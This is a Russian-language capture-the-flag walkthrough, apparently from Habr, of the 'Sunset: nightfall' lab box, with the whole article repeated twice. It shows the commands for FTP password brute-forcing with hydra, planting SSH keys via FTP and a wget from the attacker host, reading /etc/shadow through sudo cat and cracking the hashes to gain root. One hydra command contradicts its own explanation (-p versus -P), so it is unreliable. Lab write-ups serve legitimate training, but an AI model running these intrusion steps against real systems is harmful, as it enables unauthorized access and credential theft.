Сегодня в нашем прохождении серии Sunset следующая коробочка – nightfall.
![](https://habrastorage.org/r/w1560/webt/7g/3k/ej/7g3kejxd7lygwpxfe9fjuyxpswq.png)
Автор: whitecr0wz
И как обычно мы начинаем с определения IP-адреса.
IP нашей машины будет 192.168.1.106.
Просканируем все порты
Просканировав все порты, мы видим, что у нас открыты 21, 22, 80, 129, 445 и 3306 порты. Просканируем их с помощью Nmap командой
![](https://habrastorage.org/r/w1560/webt/0o/pl/ng/0oplngnfopupkfgrdy4uug5th1m.png)
Пойдем по порядку и попробуем подключиться по ftp с логином и паролем anonymous:anonymous, но у нас ничего не выходит.
![](https://habrastorage.org/r/w1560/webt/8k/km/t9/8kkmt9-pdbnvwuokas0ggifljha.png)
Для подключения по ssh нам нужен пароль или ключ, на сайте (80 порт) также ничего интересно, ну и для подключения к mysql тоже нужны креды. Остались порты на которых крутится smb. В этот раз будем использовать enum4linux, так как smbmap ничего полезного нам не сказал.
Вывод этой тулзы слишком «мусорный», поэтому я выделю только самое главное, что она нашла имена пользователей.
![](https://habrastorage.org/r/w1560/webt/mc/-m/h8/mc-mh8fso1oysdv5mcig8pcksrs.png)
Судя по всему, у нас не остается большого выбора, кроме как сбрутить пароль к пользователю. Будем брутить ftp, так как к нему пароль сбрутить быстрее, чем к ssh. Для этого воспользуемся гидрой
![](https://habrastorage.org/r/w1560/webt/ir/zo/kr/irzokr8dhff4ujy4jzbkaa-cz_8.png)
Опцией -l мы определили имя пользователя, -P словарь с паролями, -t количество потоков и -v отображение текущего статуса.
И гидра нас не подводит подобрав пароль для пользователя matt:cheese.
Подключаемся к машине по ftp с имеющимися кредами
![](https://habrastorage.org/r/w1560/webt/-x/fr/iz/-xfriz0mmwslktobj8m1xub33hk.png)
И вот мы в домашней папке пользователя matt. Мы видим папку .ssh, значит можно загрузить свой ключ и получить доступ через ssh. Генерируем пару ключей
![](https://habrastorage.org/r/w1560/webt/up/ky/3h/upky3hnlhyaf274oeus0x5wnubc.png)
На выходе у нас будет 2 файла, я назвал их matt и в итоге у нас есть matt.pub и matt.
В matt.pub лежит открытый ключ, читаем файл или копируем его с названием authorized_keys и загружаем в папку c помощью команды put и подключаемся по ssh.
Опцией -i мы определили закрытый ключ для подключения к пользователю.
И вот мы внутри, давайте воспользуемся невероятным скриптом для поиска возможности повышения привилегий для линукса. Для этого поднимем питоновский сервер в папке, где лежит скрипт, и, скачав его на машину, сделаем исполняемым и запустим.
Скрипт говорит, что есть какой-то странный бинарник, давайте попробуем получить шелл.
![](https://habrastorage.org/r/w1560/webt/_b/hg/hy/_bhghykzurxugokkl5l9evt0x7c.png)
Заходим на GTFObins и смотрим команду для получения шелла через find
![](https://habrastorage.org/r/w1560/webt/xp/q0/mv/xpq0mvkcnfrhap6bjfjor__m21k.png)
Немного сокращаем команду, у нас появляется шелл (опцию –exec, как можно догадаться, мы использовали для исполнения команды). Видим, что у нашего процесса (шелла) есть права доступа пользователя nightfall, и мы включены в группу. Так давайте это и используем.
![](https://habrastorage.org/r/w1560/webt/uc/y0/_l/ucy0_loaiqtzbakstzbukx3cqq4.png)
Я тут попробовал сделать шелл более интерактивным, но как-то не получилось. В любом случае удобнее будет работать через ssh, так что генерируем еще пару ключей. Как и для пользователя matt поднимаем питоновский сервер и скачиваем на целевую машину
На целевой машине
![](https://habrastorage.org/r/w1560/webt/uy/mv/y6/uymvy6tgfvvcorzpt65ivwqbabu.png)
Наш открытый ключ успешно скачан, можно подключаться по ssh
![](https://habrastorage.org/r/w1560/webt/bn/cx/9i/bncx9itj-n4zz0gelxkjvm0_xzc.png)
Я сразу решил проверить права пользователя на выполнение команд от имени root
И нам говорят, что мы можем читать все на целевой системе командой cat. Нам ничего не остается кроме как прочитать файл с хешами паролей /etc/shadow
![](https://habrastorage.org/r/w1560/webt/uv/gy/lc/uvgylcw7xmykvcdqjlympii43wi.png)
Вот у нас есть несколько хешей, давайте крякнем их. Создаем файл и копируем туда строчки с хешами, а затем зовем нашего друга Джона
![](https://habrastorage.org/r/w1560/webt/b1/bd/3c/b1bd3cpfmkbyjbxf1jgy4q74nii.png)
Джон как всегда нас не подводит и говорит, что у пользователя root пароль miguel2, теперь мы можем повысится до root'а, используя полученный пароль
![](https://habrastorage.org/r/w1560/webt/vh/ky/us/vhkyusxlqvxeyxp7z95bbqyyphs.png)
И вот мы повысились до root'a, и в конце нас ждет такой симпатичный флаг
![](https://habrastorage.org/r/w1560/webt/fi/ne/gp/finegpdu-p7gcvw4fua16tjnbso.png)
Это был пример одной из ctf'ных коробок, простой как для взлома, так и для понимания. Хоть это и ctf задание, но в реальности все равно остаются машины с подобными конфигурациями, что может привести к печальным последствиям.
Другие части прохождения машин Sunset:
Sunset: 1
Sunset: dawn
![](https://habrastorage.org/webt/7g/3k/ej/7g3kejxd7lygwpxfe9fjuyxpswq.png)
Автор: whitecr0wz
И как обычно мы начинаем с определения IP-адреса.
netdiscover
IP нашей машины будет 192.168.1.106.
Сканирование
Просканируем все порты
nmap -p- 192.168.1.106
Просканировав все порты, мы видим, что у нас открыты 21, 22, 80, 129, 445 и 3306 порты. Просканируем их с помощью Nmap командой
nmap -p21,22,80,129,445,3306 -sC -sV -oN nightfall 192.168.1.106
![](https://habrastorage.org/webt/0o/pl/ng/0oplngnfopupkfgrdy4uug5th1m.png)
Поиск точки входа
Пойдем по порядку и попробуем подключиться по ftp с логином и паролем anonymous:anonymous, но у нас ничего не выходит.
![](https://habrastorage.org/webt/8k/km/t9/8kkmt9-pdbnvwuokas0ggifljha.png)
Для подключения по ssh нам нужен пароль или ключ, на сайте (80 порт) также ничего интересно, ну и для подключения к mysql тоже нужны креды. Остались порты на которых крутится smb. В этот раз будем использовать enum4linux, так как smbmap ничего полезного нам не сказал.
enum4linux -a 192.168.1.106
Вывод этой тулзы слишком «мусорный», поэтому я выделю только самое главное, что она нашла имена пользователей.
![](https://habrastorage.org/webt/mc/-m/h8/mc-mh8fso1oysdv5mcig8pcksrs.png)
Пользователь 1
Судя по всему, у нас не остается большого выбора, кроме как сбрутить пароль к пользователю. Будем брутить ftp, так как к нему пароль сбрутить быстрее, чем к ssh. Для этого воспользуемся гидрой
hydra -l matt -p /usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.1.106 -v
![](https://habrastorage.org/webt/ir/zo/kr/irzokr8dhff4ujy4jzbkaa-cz_8.png)
Опцией -l мы определили имя пользователя, -P словарь с паролями, -t количество потоков и -v отображение текущего статуса.
И гидра нас не подводит подобрав пароль для пользователя matt:cheese.
Подключаемся к машине по ftp с имеющимися кредами
ftp 192.168.1.106
![](https://habrastorage.org/webt/-x/fr/iz/-xfriz0mmwslktobj8m1xub33hk.png)
И вот мы в домашней папке пользователя matt. Мы видим папку .ssh, значит можно загрузить свой ключ и получить доступ через ssh. Генерируем пару ключей
ssh-keygen
![](https://habrastorage.org/webt/up/ky/3h/upky3hnlhyaf274oeus0x5wnubc.png)
На выходе у нас будет 2 файла, я назвал их matt и в итоге у нас есть matt.pub и matt.
В matt.pub лежит открытый ключ, читаем файл или копируем его с названием authorized_keys и загружаем в папку c помощью команды put и подключаемся по ssh.
ssh -i matt matt@192.168.1.106
Опцией -i мы определили закрытый ключ для подключения к пользователю.
И вот мы внутри, давайте воспользуемся невероятным скриптом для поиска возможности повышения привилегий для линукса. Для этого поднимем питоновский сервер в папке, где лежит скрипт, и, скачав его на машину, сделаем исполняемым и запустим.
python3 -m http.server 80
chmod +x linpeas.sh
sh linpeas.sh
Скрипт говорит, что есть какой-то странный бинарник, давайте попробуем получить шелл.
![](https://habrastorage.org/webt/_b/hg/hy/_bhghykzurxugokkl5l9evt0x7c.png)
Заходим на GTFObins и смотрим команду для получения шелла через find
![](https://habrastorage.org/webt/xp/q0/mv/xpq0mvkcnfrhap6bjfjor__m21k.png)
Немного сокращаем команду, у нас появляется шелл (опцию –exec, как можно догадаться, мы использовали для исполнения команды). Видим, что у нашего процесса (шелла) есть права доступа пользователя nightfall, и мы включены в группу. Так давайте это и используем.
![](https://habrastorage.org/webt/uc/y0/_l/ucy0_loaiqtzbakstzbukx3cqq4.png)
Пользователь 2
Я тут попробовал сделать шелл более интерактивным, но как-то не получилось. В любом случае удобнее будет работать через ssh, так что генерируем еще пару ключей. Как и для пользователя matt поднимаем питоновский сервер и скачиваем на целевую машину
ssh-keygen
python3 -m http.server
На целевой машине
wget http://192.168.1.68:8000/authorized_keys
![](https://habrastorage.org/webt/uy/mv/y6/uymvy6tgfvvcorzpt65ivwqbabu.png)
Наш открытый ключ успешно скачан, можно подключаться по ssh
ssh -i nfall nightfall@192.168.1.106
![](https://habrastorage.org/webt/bn/cx/9i/bncx9itj-n4zz0gelxkjvm0_xzc.png)
Повышение привилегий
Я сразу решил проверить права пользователя на выполнение команд от имени root
sudo -l
И нам говорят, что мы можем читать все на целевой системе командой cat. Нам ничего не остается кроме как прочитать файл с хешами паролей /etc/shadow
sudo cat /etc/shadow
![](https://habrastorage.org/webt/uv/gy/lc/uvgylcw7xmykvcdqjlympii43wi.png)
Вот у нас есть несколько хешей, давайте крякнем их. Создаем файл и копируем туда строчки с хешами, а затем зовем нашего друга Джона
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
![](https://habrastorage.org/webt/b1/bd/3c/b1bd3cpfmkbyjbxf1jgy4q74nii.png)
Джон как всегда нас не подводит и говорит, что у пользователя root пароль miguel2, теперь мы можем повысится до root'а, используя полученный пароль
su -
![](https://habrastorage.org/webt/vh/ky/us/vhkyusxlqvxeyxp7z95bbqyyphs.png)
И вот мы повысились до root'a, и в конце нас ждет такой симпатичный флаг
![](https://habrastorage.org/webt/fi/ne/gp/finegpdu-p7gcvw4fua16tjnbso.png)
Это был пример одной из ctf'ных коробок, простой как для взлома, так и для понимания. Хоть это и ctf задание, но в реальности все равно остаются машины с подобными конфигурациями, что может привести к печальным последствиям.
Другие части прохождения машин Sunset:
Sunset: 1
Sunset: dawn